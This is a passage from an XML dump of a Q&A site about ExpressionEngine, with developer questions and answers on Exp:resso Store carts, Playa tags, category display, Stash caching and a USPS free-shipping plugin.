add-on includes tags to output a language switcher and listings of all current languages that you can iterate through if you want to create your own markup for it.&lt;/p&gt;&#xA;" OwnerUserId="286" LastEditorUserId="286" LastEditDate="2012-11-22T19:24:36.293" LastActivityDate="2012-11-22T19:24:36.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostTypeId="1" AcceptedAnswerId="271" CreationDate="2012-11-22T20:28:16.107" Score="5" ViewCount="212" Body="&lt;p&gt;Assume my store sells unique items, like antiques. By definition, stock for each article is only one item. When a buyer adds such an item to their cart, store prevents them from adding more than one item to the cart, but does not reduce the stock (not until the item is sold) and does not prevent the add-to-cart button from being pushed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a way to hide the button for this user while the item is in their cart, AND give some indication that a single item cannot be added more than once, even though the item is still in stock until it is sold. This is only needed in relation to the local terminal holding the item in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, natively or by whatever means?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="28" LastEditDate="2012-11-24T22:00:04.453" LastActivityDate="2013-01-14T05:20:51.433" Title="In EE Store, how to disable the add-to-cart button after a single stock item has been added to the cart" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="1" AcceptedAnswerId="317" CreationDate="2012-11-22T20:37:17.057" Score="5" ViewCount="960" Body="&lt;p&gt;Does anybody know of a solution to nested playa tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I believe that the only way to retrieve playa entires from within another playa tag pair is to use an embed, is this still the case? Can we circumvent this using Stash or something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'd like to be able to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;yes&quot;}&#xA;        {!-- Product specific stuff goes here --}&#xA;&#xA;        {!-- My Playa fieldtype that relates other products to this one --}&#xA;        {cf_phone_similar_products}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;header&amp;gt;{title}&amp;lt;/header&amp;gt;&#xA;&#xA;            {!-- Each Product has a Related plan that I need to grab --}&#xA;            &amp;lt;p&amp;gt;Free on the {exp:playa:children field=&quot;cf_phone_free_with_a_plan&quot;}{title}{/exp:playa:children}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;        {/cf_phone_similar_products}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="55" LastEditDate="2013-05-30T12:03:25.213" LastActivityDate="2013-05-30T12:03:25.213" Title="Nesting Playa tags several levels deep?" Tags="|stash|playa|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="266" PostTypeId="1" CreationDate="2012-11-22T21:45:30.910" Score="9" ViewCount="581" Body="&lt;p&gt;I’m completely stumped. I’m working on my first eCommerce website using the “Store Module”. The problem that I’m running into is in regards to Categories. I have setup a number or categories for the products. It happens to be a Vacuum store. Here’s my issue….&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Central Vacuums category there are 7 sub categories that break this category down. (ie. canisters, powerheads, accessories, etc.). I am displaying the list of sub categories based on the URI segment (ie. if you are in the Central Vacuums category it displays the sub categories. I have gone one step further and am only displaying the sub categories that have been selected by at least 1 entry (ie. categories that have never been selected within an entry will not display in the sidebar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I’m having is that Once I choose a product and am moved to the “Single Entry” page for that specific product, the URI no longer displays the category information and my category and sub category information disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to show the category information on a “Single Entry” page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry this was so long winded. Very confused how to handle this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;!--BODY--&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;       &amp;lt;h6&amp;gt;Products&amp;lt;/h6&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/central-vacuums'}&quot;&amp;gt;Central Vacuums&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/portable-vacuums'}&quot;&amp;gt;Portable Vacuums&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/carpet-steam-cleaners'}&quot;&amp;gt;Carpet/Steam Cleaners&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/bare-floor-cleaners'}&quot;&amp;gt;Bare Floor Cleaners&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/commercial-equipment'}&quot;&amp;gt;Commercial Equipment&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/air-purification-equipment'}&quot;&amp;gt;Air Purification Systems&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='products/index/c/parts-and-accessories'}&quot;&amp;gt;Parts &amp;amp;amp; Accessories&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;h6&amp;gt;Categories for &amp;lt;/h6&amp;gt;&#xA;        &amp;lt;!--start of categories--&amp;gt;&#xA;        {if segment_3 =='central-vacuums'}&#xA;            {exp:gwcode_categories show=&quot;90|91|92|93|94|95|96|97&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        {if segment_3 =='portable-vacuums'}&#xA;            {exp:gwcode_categories show=&quot;83|84|85|86|87|88|89&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}&#xA;        {if segment_3 =='carpet-steam-cleaners'}&#xA;            {exp:gwcode_categories show=&quot;98&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        {if segment_3 =='bare-floor-cleaners'}&#xA;            {exp:gwcode_categories show=&quot;99&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        {if segment_3 =='commercial-equipment'}&#xA;            {exp:gwcode_categories show=&quot;100|101|102|103|104&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        {if segment_3 =='air-purification-equipment'}&#xA;            {exp:gwcode_categories show=&quot;105&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        {if segment_3 =='parts-and-accessories'}&#xA;            {exp:gwcode_categories show=&quot;106|107|108|109|110|111&quot; last_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;            {/exp:gwcode_categories}&#xA;        {/if}   &#xA;        &amp;lt;!--end of categories--&amp;gt;                        &#xA;        &amp;lt;h6&amp;gt;Brands for &amp;lt;/h6&amp;gt;&#xA;        &amp;lt;!--start of brands--&amp;gt;&#xA;        {if segment_3 =='central-vacuums'}  &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;90|91|92|93|94|95|96|97&quot; status=&quot;featured|open&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='portable-vacuums'} &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;83|84|85|86|87|88|89&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='carpet-steam-cleaners'}    &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;98&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='bare-floor-cleaners'}  &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;99&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='commercial-equipment'} &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;100|101|102|103|104&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='air-purification-equipment'}   &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;105&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_3 =='parts-and-accessories'}    &#xA;            {exp:channel:entries channel=&quot;products&quot; category=&quot;106|107|108|109|110|111&quot;}&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:children}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        &amp;lt;!--end of brands--&amp;gt;&#xA;        &amp;lt;h6&amp;gt;Shop By Price for {last_segment_category_name}&amp;lt;/h6&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;$0.00 - $99.99&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;$100.00 - $199.99&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;$200.00 - $399.99&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;$400.00 - $799.99&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;$800.00 and over&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastEditorUserId="16" LastEditDate="2012-11-29T22:28:33.587" LastActivityDate="2012-11-29T22:28:33.587" Title="Displaying category information on a “Single Entry Page”" Tags="|expresso-store|categories|ecommerce|url|gwcode-categories|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostTypeId="2" ParentId="266" CreationDate="2012-11-22T21:59:56.687" Score="6" Body="&lt;p&gt;Well, you could get the list and info of categories you have assigned the entry to by &lt;a href=&quot;http://expressionengine.com/user_guide/modules/channel/channel_entries.html#categories&quot;&gt;Categories tag&lt;/a&gt; inside the Channels entry tag. Is this something on the way to the final goal?&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2012-11-22T21:59:56.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="2" ParentId="261" CreationDate="2012-11-22T22:52:42.357" Score="3" Body="&lt;p&gt;It sounds like you might be able to use FreeForm here. It takes the submissions from a form and stores it in an an entry (although it's not shown in the regular Publish/Edit lists). You should be able to get the information out of the stored entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also supports multi part forms, handles the emailing bits and provides a number of other features that you may find useful. There is a free and Pro version - the Pro version has the features such as multi part forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the logic involved in showing/hiding different fields I think you'll need to use javascript and come up with the flow yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: removed incorrect information about channel storage - mixed up my add-ons!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2012-11-23T00:23:07.383" LastActivityDate="2012-11-23T00:23:07.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="2" ParentId="266" CreationDate="2012-11-22T23:03:25.020" Score="7" Body="&lt;p&gt;Generally in ExpressionEngine you don't keep the category information in the URL for your single entry page. This is because an entry can belong to more than one category, so you will end up with more than one URL for the same product, which is bad for SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to do this, you might find &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot;&gt;Low's Seg2Cat&lt;/a&gt; helpful.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-22T23:03:25.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="2" ParentId="249" CreationDate="2012-11-22T23:51:53.260" Score="2" Body="&lt;p&gt;We added a safecracker form with an extra field as a date field, and allowed the user to submit the date in this field. The entry went in under a 'pending' status, so it allowed the admin via the admin panel later to add it via the cal widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not entirely a 'non-hack', but might help the workflow if it is an option. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-11-22T23:51:53.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="271" PostTypeId="2" ParentId="264" CreationDate="2012-11-23T00:22:08.440" Score="3" Body="&lt;p&gt;It sounds like what you need to do is test how many of that particular SKU are currently in the customer's cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible to do this using native tags, however there is an extension on Devot:ee which appears to let you create conditionals on whether a product is currently in your cart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://devot-ee.com/add-ons/store-in_cart-conditionals&quot; rel=&quot;nofollow&quot;&gt;Store: In_Cart Conditionals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; As of Store 1.6.2 there is a &lt;code&gt;{qty_in_cart}&lt;/code&gt; variable which allows you to do this on a per-entry basis (though not if your entries contain multiple SKUs).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    {qty_in_cart}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-01-14T05:20:51.433" LastActivityDate="2013-01-14T05:20:51.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="2" ParentId="182" CreationDate="2012-11-23T00:39:12.763" Score="10" Body="&lt;p&gt;You didn't mention in the question you were trying to do this in addition to USPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer @MediaGirl gave would be correct if you were using the Default Shipping Plugin, as you can simply create extra rules to apply free shipping to orders over $50 (or whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this in combination with USPS rates, you will need to make a simple PHP shipping plugin which extends the USPS plugin and adds your custom rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, create a new file &lt;code&gt;third_party/store/libraries/store_shipping/store_shipping_usps_with_max.php&lt;/code&gt;, with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once dirname(__FILE__).'/store_shipping_usps.php';&#xA;class Store_shipping_usps_with_max extends Store_shipping_usps&#xA;{&#xA;    public function calculate_shipping($order)&#xA;    {&#xA;        // free shipping for orders over $50&#xA;        if ($order['order_shipping_subtotal_val'] &amp;gt;= 50)&#xA;        {&#xA;            return 0;&#xA;        }&#xA;&#xA;        return parent::calculate_shipping($order);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then be able to install and configure this new &lt;code&gt;Store_shipping_usps_with_max&lt;/code&gt; plugin the same way you did the regular USPS plugin, but it will have the extra feature of free shipping on orders over $50&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another option if you don't want to go the PHP route, would be to simply add some conditionals to your checkout template, to automatically submit hidden fields for the free shipping method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_total_val &amp;gt; 50}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;id_of_free_shipping_method&quot; /&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;id_of_usps_shipping_method&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-23T00:39:12.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="273" PostTypeId="2" ParentId="261" CreationDate="2012-11-23T02:05:26.057" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;ProForm&lt;/a&gt; would support this pretty much out of the box. You could set each segment of questions as a step in the form, then use the simple form tag or a snippet to render the form. It will automatically render just the questions you ask for in that step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do end up taking this route, I will provide full support for your design as I think this is really cool. You can post basically anything in the &lt;a href=&quot;http://devot-ee.com/add-ons/support/proform-drag-and-drop-form-builder/viewforum/1840&quot; rel=&quot;nofollow&quot;&gt;support forum&lt;/a&gt; and I will work with you until it works. :)&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-23T02:05:26.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="1" AcceptedAnswerId="288" CreationDate="2012-11-23T02:29:03.163" Score="13" ViewCount="1543" Body="&lt;p&gt;I'm trying to get into some more advanced use of Stash and I'm wondering about cache breaking. With some of the dedicated cache add-ons, you can set rules around cache breaking that are not simply time based - you can set a given cache to break when a new entry is added, for example - which is awfully handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this - is Stash suitable for caching dynamic content on a basis other than time?  My fear is that time would be a challenge for a site with certain channels being updated at much higher intervals than in others.  The last thing i want to do is create a situation in which a client is confused by a recent entry not appearing in the site because the last page visit that was cached was only minutes before the most recent update was made and therefore the remaining time in the cache must expire before it breaks and is re-set and cached anew with a visit to the site.  Just curious what the strategies are in using stash (or not) with caching.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="182" LastEditDate="2013-01-02T12:57:54.240" LastActivityDate="2013-12-30T13:05:21.437" Title="Is the stash refresh variable the only means of breaking a cached set?" Tags="|stash|cache|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="1" AcceptedAnswerId="1118" CreationDate="2012-11-23T03:30:48.433" Score="2" ViewCount="146" Body="&lt;p&gt;If someone orders 1x a product at some point between “checkout” and “order_info” in the sample files with CTv2.2 the inventory of the item gets reduced by double (in this case 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it think it needs to reduce the inventory by 2x the ordered amount?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pastebin.com/CHiB4JGB&quot; rel=&quot;nofollow&quot;&gt;View Cart template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pastebin.com/mJfsXAwS&quot; rel=&quot;nofollow&quot;&gt;Checkout form&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pastebin.com/g1hwJj0c&quot; rel=&quot;nofollow&quot;&gt;Order Info tag&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;CT 2.2.2&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="16" LastEditDate="2012-11-29T22:15:14.230" LastActivityDate="2012-12-04T23:01:34.033" Title="CartThrob Reducing Inventory By a Factor of 2" Tags="|cartthrob|checkout|order-info|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostTypeId="5" CreationDate="2012-11-23T06:53:54.640" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-11-23T06:53:54.640" LastActivityDate="2012-11-23T06:53:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="4" CreationDate="2012-11-23T06:53:54.640" Score="0" Body="ExpressionEngine 2.0+" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-23T13:32:28.740" LastActivityDate="2012-11-23T13:32:28.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="5" CreationDate="2012-11-23T06:55:28.807" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-11-23T06:55:28.807" LastActivityDate="2012-11-23T06:55:28.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="4" CreationDate="2012-11-23T06:55:28.807" Score="0" Body="Exp:resso Store is an e-commerce module. You can find more details about Store at https://exp-resso.com/store/" OwnerUserId="150" LastEditorUserId="115" LastEditDate="2012-12-14T10:21:01.127" LastActivityDate="2012-12-14T10:21:01.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="280" PostTypeId="5" CreationDate="2012-11-23T06:56:21.213" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-11-23T06:56:21.213" LastActivityDate="2012-11-23T06:56:21.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="4" CreationDate="2012-11-23T06:56:21.213" Score="0" Body="SafeCracker allows you to add Stand Alone Entry Forms (SAEFs) to your website's front end." OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-23T13:32:12.920" LastActivityDate="2012-11-23T13:32:12.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostTypeId="5" CreationDate="2012-11-23T06:57:18.953" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-11-23T06:57:18.953" LastActivityDate="2012-11-23T06:57:18.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="4" CreationDate="2012-11-23T06:57:18.953" Score="0" Body="Multi Site Manager (MSM) allows you to run multiple separate ExpressionEngine sites from the same install, with a shared member database." OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-23T13:32:25.493" LastActivityDate="2012-11-23T13:32:25.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="5" CreationDate="2012-11-23T06:58:33.040" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-11-23T06:58:33.040" LastActivityDate="2012-11-23T06:58:33.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="4" CreationDate="2012-11-23T06:58:33.040" Score="0" Body="Matrix is a custom fieldtype created by Pixel &amp; Tonic to allow rows of data (or &quot;matrixes&quot;) within a single entry." OwnerUserId="150" LastEditorUserId="28" LastEditDate="2012-12-18T05:18:22.013" LastActivityDate="2012-12-18T05:18:22.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="1" AcceptedAnswerId="290" CreationDate="2012-11-23T09:06:34.283" Score="13" ViewCount="130" Body="&lt;p&gt;I'm working on a site that has a lot of add-ons, some probably redundant now. It is a very long term development project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a recent EE update one of these add-ons is sending an error message to the developer log.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A third-party add-on is calling $this-&amp;gt;load-&amp;gt;library('security'), which is deprecated as the CI_Security class has been moved to Core, so it is always loaded.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great, but which add-on is it? How can I find out and is there a way to get the log to show slightly more useful information?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-23T09:57:27.183" Title="How can I find out which add-on is sending a message to the developer log?" Tags="|add-on|error|developer-log|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="2" ParentId="265" CreationDate="2012-11-23T09:43:56.080" Score="3" Body="&lt;p&gt;I tried to do something similar with Stash but I finally rollback to an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason is that it was becoming hard to maintain and not effective as expected. Sometimes embeds are just the way to go, especially with nested complex template nesting tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embeds are not always evil ;)&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2012-11-23T09:43:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="274" CreationDate="2012-11-23T09:48:11.273" Score="10" Body="&lt;p&gt;You can use the {exp:stash:destroy} {or it's alias {exp:stash:unset}) to unset a cached variable or variables within an entire scope (user or site):&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/tree/dev#expstashunset-requires-php-523-or-expstashdestroy&quot;&gt;https://github.com/croxton/Stash/tree/dev#expstashunset-requires-php-523-or-expstashdestroy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of use to clear cached comments when a new comment is submitted:&#xA;&lt;a href=&quot;https://gist.github.com/3973821&quot;&gt;https://gist.github.com/3973821&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to find creative used of this tag to facilitate automatic cache clearing; for example, using the {edit_date} variable as part of a variable name or context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag is also available programmatically as Stash::destroy($params} where $params is an array of key=&gt;value pairs representing tag parameters. You can use this in a custom extension to clear cached variables on new entry submission or entry edit. I don't have an example to hand but I know some members of the EE community have already created extensions like this. Perhaps they could share the code below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I'm in the early stages of writing a control panel module to manage automatic cache busting rules, which will also include an interface for manual cache clearing.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-11-23T09:48:11.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
